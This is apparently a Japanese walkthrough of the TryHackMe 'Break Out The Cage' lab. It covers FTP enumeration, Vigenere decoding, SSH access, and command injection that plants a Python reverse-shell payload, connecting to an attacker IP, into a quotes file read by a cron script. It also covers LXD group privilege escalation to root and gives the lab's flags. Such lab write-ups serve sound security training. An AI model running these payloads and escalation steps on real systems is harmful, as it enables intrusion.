0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【TryHackMe】Break Out The Cage:Walkthrough

Posted at

概要

TryHackMe「Break Out The Cage」のWalkthroughです。

Task1

Q1.What is Weston's password?

ポートスキャンを実行します。

$ nmap -Pn -T4 -sV -A -sC -p- 10.10.251.24 -oN nmap_result
PORT      STATE    SERVICE     VERSION
21/tcp    open     ftp         vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--    1 0        0             396 May 25  2020 dad_tasks
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:10.6.55.144
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 4
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp    open     ssh         OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 dd:fd:88:94:f8:c8:d1:1b:51:e3:7d:f8:1d:dd:82:3e (RSA)
|   256 3e:ba:38:63:2b:8d:1c:68:13:d5:05:ba:7a:ae:d9:3b (ECDSA)
|_  256 c0:a6:a3:64:44:1e:cf:47:5f:85:f6:1f:78:4c:59:d8 (ED25519)
80/tcp    open     http        Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Nicholas Cage Stories

ポートの稼働状況が分かりました。

ポート サービス バージョン
21 ftp vsftpd 3.0.3
22 ssh OpenSSH 7.6p1
80 http Apache httpd 2.4.29

FTPにAnonymous接続します。

$ ftp 10.10.251.24
Connected to 10.10.251.24.
220 (vsFTPd 3.0.3)
Name (10.10.251.24:kali): anonymous
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>

dad_tasksを発見したのでダウンロードします。

ftp> ls
229 Entering Extended Passive Mode (|||50499|)
150 Here comes the directory listing.
-rw-r--r--    1 0        0             396 May 25  2020 dad_tasks
226 Directory send OK.
ftp> get dad_tasks
local: dad_tasks remote: dad_tasks
229 Entering Extended Passive Mode (|||43368|)
150 Opening BINARY mode data connection for dad_tasks (396 bytes).
100% |*********************************|   396        3.41 KiB/s    00:00 ETA
226 Transfer complete.
396 bytes received in 00:00 (1.09 KiB/s)

ファイルの内容はBase64でデコードできましたが、暗号化されています。

UWFwdyBFZWtjbCAtIFB2ciBSTUtQLi4uWFpXIFZXVVIuLi4gVFRJIFhFRi4uLiBMQUEgWlJHUVJPISEhIQpTZncuIEtham5tYiB4c2kgb3d1b3dnZQpGYXouIFRtbCBma2ZyIHFnc2VpayBhZyBvcWVpYngKRWxqd3guIFhpbCBicWkgYWlrbGJ5d3FlClJzZnYuIFp3ZWwgdnZtIGltZWwgc3VtZWJ0IGxxd2RzZmsKWWVqci4gVHFlbmwgVnN3IHN2bnQgInVycXNqZXRwd2JuIGVpbnlqYW11IiB3Zi4KCkl6IGdsd3cgQSB5a2Z0ZWYuLi4uIFFqaHN2Ym91dW9leGNtdndrd3dhdGZsbHh1Z2hoYmJjbXlkaXp3bGtic2lkaXVzY3ds
$ echo "UWFwdyBFZWtjbCAtIFB2ciBSTUtQLi4uWFpXIFZXVVIuLi4gVFRJIFhFRi4uLiBMQUEgWlJHUVJPISEhIQpTZncuIEtham5tYiB4c2kgb3d1b3dnZQpGYXouIFRtbCBma2ZyIHFnc2VpayBhZyBvcWVpYngKRWxqd3guIFhpbCBicWkgYWlrbGJ5d3FlClJzZnYuIFp3ZWwgdnZtIGltZWwgc3VtZWJ0IGxxd2RzZmsKWWVqci4gVHFlbmwgVnN3IHN2bnQgInVycXNqZXRwd2JuIGVpbnlqYW11IiB3Zi4KCkl6IGdsd3cgQSB5a2Z0ZWYuLi4uIFFqaHN2Ym91dW9leGNtdndrd3dhdGZsbHh1Z2hoYmJjbXlkaXp3bGtic2lkaXVzY3ds" | base64 -d
Qapw Eekcl - Pvr RMKP...XZW VWUR... TTI XEF... LAA ZRGQRO!!!!
Sfw. Kajnmb xsi owuowge
Faz. Tml fkfr qgseik ag oqeibx
Eljwx. Xil bqi aiklbywqe
Rsfv. Zwel vvm imel sumebt lqwdsfk
Yejr. Tqenl Vsw svnt "urqsjetpwbn einyjamu" wf.

Iz glww A ykftef.... Qjhsvbouuoexcmvwkwwatfllxughhbbcmydizwlkbsidiuscwl

暗号文を下記サイトなどで解析するとVigenere暗号を使用しているようです。

cypher analyze.jpg

下記サイトを利用して解読できました。

dec.jpg

Webサービスを調べます。
80番ポートにアクセスします。

index.jpg

ディレクトリスキャンをします。

$ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -u http://10.10.251.24/FUZZ -ic -c
                        [Status: 200, Size: 2453, Words: 217, Lines: 63, Duration: 237ms]
images                  [Status: 301, Size: 313, Words: 20, Lines: 10, Duration: 237ms]
html                    [Status: 301, Size: 311, Words: 20, Lines: 10, Duration: 237ms]
scripts                 [Status: 301, Size: 314, Words: 20, Lines: 10, Duration: 238ms]
contracts               [Status: 301, Size: 316, Words: 20, Lines: 10, Duration: 237ms]
auditions               [Status: 301, Size: 316, Words: 20, Lines: 10, Duration: 241ms]

検出されたディレクトリから有用な情報は得られませんでした。

auditions/must_practice_corrupt_file.mp3を解析するとVigenere暗号のKeyを得られたようです。

spectoram analyze.jpg

A.Mydadisghostrideraintthatcoolnocausehesonfirejokes

Q2.What's the user flag?

得られたパスワードでwestonアカウントにSSH接続します。

$ ssh weston@10.10.18.35
weston@national-treasure:~$

sudo -lで確認すると/usr/bin/beesが実行可能です。

$ sudo -l
Matching Defaults entries for weston on national-treasure:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User weston may run the following commands on national-treasure:
    (root) /usr/bin/bees

実行するとメッセージが表示されました。

$ sudo /usr/bin/bees 
                                                                               
Broadcast message from weston@national-treasure (pts/0) (Fri Sep 27 14:17:38 20
                                                                               
AHHHHHHH THEEEEE BEEEEESSSS!!!!!!!!

プログラムの内容を確認するとwallコマンドで文字列を出力しています。

$ cat /usr/bin/bees 
#!/bin/bash

wall "AHHHHHHH THEEEEE BEEEEESSSS!!!!!!!!"

また、定期的にブロードキャストメッセージが表示されることも分かりました。

Broadcast message from cage@national-treasure (somewhere) (Fri Sep 27 14:21:01 
                                                                               
“I saw you and you saw me, don’t pretend like you don’t know who I am girly man” — Snake Eyes
Broadcast message from cage@national-treasure (somewhere) (Fri Sep 27 14:24:01 
                                                                               
Did I ever tell ya that this here jacket represents a symbol of my individuality, and my belief in personal freedom? — Wild at Heart

ディレクトリを探索していると、/opt/.dads_scripts/spread_the_quotes.pyを発見しました。

/opt/.dads_scripts/spread_the_quotes.py
#!/usr/bin/env python

#Copyright Weston 2k20 (Dad couldnt write this with all the time in the world!)
import os
import random

lines = open("/opt/.dads_scripts/.files/.quotes").read().splitlines()
quote = random.choice(lines)
os.system("wall " + quote)

このプログラムがwallコマンドで文字列を出力しているようです。
system()関数を利用しているのquote変数からOSコマンドを実行できそうです。

westonアカウントはcageグループに所属しているので/opt/.dads_scripts/.files/.quotesファイルに書き込み可能です。

$ id
uid=1001(weston) gid=1001(weston) groups=1001(weston),1000(cage)
$ ls -la /opt/.dads_scripts/.files/
total 16
drwxrwxr-x 2 cage cage 4096 May 25  2020 .
drwxr-xr-x 3 cage cage 4096 May 26  2020 ..
-rwxrw---- 1 cage cage 4204 May 25  2020 .quotes

/opt/.dads_scripts/.files/.quotesにリバースシェルのペイロードを上書きします。

$ cat .files/.quotes 
a; python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.6.55.144",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'

Netcatでリッスンしているとシェルを張れました。

$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.18.35] 33866
$ whoami
whoami
cage

/home/cage/.ssh/id_rsaからSSHの秘密鍵を入手できました。

$ cat .ssh/id_rsa
cat .ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIJKQIBAAKCAgEAq3EF98w96QpNGqZ0hbHkqXy5f7/Xh6Uh/ThrejT2vmKaBOTO
adqQOynPg5c5F2dFuVEWYGqNTgJ2BAkz7TzC1I3eXNP49c4ngpSDhW0mZlP148yt

(省略)

SSHでログインします。

$ ssh -i id_rsa cage@10.10.18.35
cage@national-treasure:~$

/home/cage/Super_Duper_Checklistからユーザーフラグを入手できました。

$ cat Super_Duper_Checklist
1 - Increase acting lesson budget by at least 30%
2 - Get Weston to stop wearing eye-liner
3 - Get a new pet octopus
4 - Try and keep current wife
5 - Figure out why Weston has this etched into his desk: THM{M37AL_0R_P3N_T35T1NG}

A.THM{M37AL_0R_P3N_T35T1NG}

Q3.What's the root flag?

linpeasを実行します。

$ ./linpeas.sh

lxdグループに所属していると分かりました。

═══════════════════════════════╣ Basic information ╠═══════════════════════════════                                       
                               ╚═══════════════════╝                                                                      
OS: Linux version 4.15.0-101-generic (buildd@lgw01-amd64-003) (gcc version 7.5.0 (Ubuntu 7.5.0-3ubuntu1~18.04)) #102-Ubuntu SMP Mon May 11 10:07:26 UTC 2020
User & Groups: uid=1000(cage) gid=1000(cage) groups=1000(cage),4(adm),24(cdrom),30(dip),46(plugdev),108(lxd)

この場合、権限昇格できるテクニックがあります。

Kaliで攻撃の準備をします。

$ git clone  https://github.com/saghul/lxd-alpine-builder.git
$ cd lxd-alpine-builder
$ sudo ./build-alpine
$ ls -la
total 7004
drwxr-xr-x 3 kali kali    4096 Sep 27 10:53 .
drwxr-xr-x 4 kali kali    4096 Sep 27 10:52 ..
-rw-r--r-- 1 kali kali 3259593 Sep 27 10:52 alpine-v3.13-x86_64-20210218_0139.tar.gz
-rw-r--r-- 1 root root 3857969 Sep 27 10:53 alpine-v3.20-x86_64-20240927_1053.tar.gz
$ python -m http.server 80

ターゲットマシン上でコマンドを実行すると権限昇格に成功しました。

$ wget http://10.6.55.144/alpine-v3.20-x86_64-20240927_1053.tar.gz
$ lxc image import ./alpine-v3.20-x86_64-20240927_1053.tar.gz --alias myimage
$ lxc image list
+---------+--------------+--------+-------------------------------+--------+--------+------------------------------+
|  ALIAS  | FINGERPRINT  | PUBLIC |          DESCRIPTION          |  ARCH  |  SIZE  |         UPLOAD DATE          |
+---------+--------------+--------+-------------------------------+--------+--------+------------------------------+
| myimage | 38776d0878df | no     | alpine v3.20 (20240927_10:53) | x86_64 | 3.68MB | Sep 27, 2024 at 2:58pm (UTC) |
+---------+--------------+--------+-------------------------------+--------+--------+------------------------------+
$ lxd init
$ lxc init myimage ignite -c security.privileged=true
$ lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
$ lxc start ignite
$ lxc exec ignite /bin/sh
~ # whoami
root

/mnt/root/root/email_backup/email_2からルートフラグを入手できます。

cat /mnt/root/root/email_backup/email_2
From - master@ActorsGuild.com
To - SeanArcher@BigManAgents.com

Dear Sean

I'm very pleased to here that Sean, you are a good disciple. Your power over him has become
strong... so strong that I feel the power to promote you from disciple to crony. I hope you
don't abuse your new found strength. To ascend yourself to this level please use this code:

THM{8R1NG_D0WN_7H3_C493_L0N9_L1V3_M3}

Thank you

Sean Archer

A.THM{8R1NG_D0WN_7H3_C493_L0N9_L1V3_M3}

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?